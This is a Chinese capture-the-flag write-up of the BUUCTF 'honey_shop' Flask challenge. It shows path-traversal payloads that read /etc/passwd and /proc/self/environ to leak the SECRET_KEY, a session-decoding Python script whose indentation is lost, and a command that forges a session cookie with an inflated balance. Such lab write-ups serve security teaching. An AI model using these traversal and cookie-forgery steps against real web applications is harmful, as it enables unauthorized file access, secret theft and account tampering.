BUUCTF [PASECA2019] honey_shop
考点:
- Flask中的Session伪造
/environ
记录当前进程的环境变量信息/proc/self
其路径指向当前进程
启动环境:
是一个蜂蜜商店的界面,有1366
美金,想要购买flag需要1337
美金:
直接购买提示金额不足:
猜测可能是传参时存在金额参数或者cookie中,使用BurpSuite抓取数据包:
其中item
应该为商品序号,获取到其中的session
:
session=eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.X-AP4Q.H4cz1rTUdylFbcil9brUNQuyDFI
使用Python脚本解密session
:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
获得解密后的值:
{'balance': 1336, 'purchases': []}
其中balance
应该为当前余额,purchases
值为空
首先想到的是伪造session
,修改余额,所以需要SECRET_KEY的值
尝试了没有报错点,这时候发现了一句提示:
*click to download our sweet images*
可以点击下载图片:
其下载地址可能存在任意文件下载漏洞:
/download?image=3.jpg
使用BurpSuite抓取数据包:
修改其image
的值为:
/download?image=../../../../../../../etc/passwd
发送数据包,得到/etc/passwd
文件内容:
可以成功执行,尝试访问Python环境变量:
/proc/self
// 其路径指向当前进程
/environ
// 记录当前进程的环境变量信息
当路径为../../proc/self/environ
时,得到回显:
得到了SECRET_KEY的值为:paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m
使用flask-session-cookie加密脚本Github地址:
python3 flask_session_cookie_manager3.py encode -s "paZgTFQpDx10dFWGD8plBlHMJfusFaelmpM3BG4m" -t "{'balance': 1338, 'purchases': []}"
使用BurpSuite在购买flag时修改session
的值发送数据包:
得到flag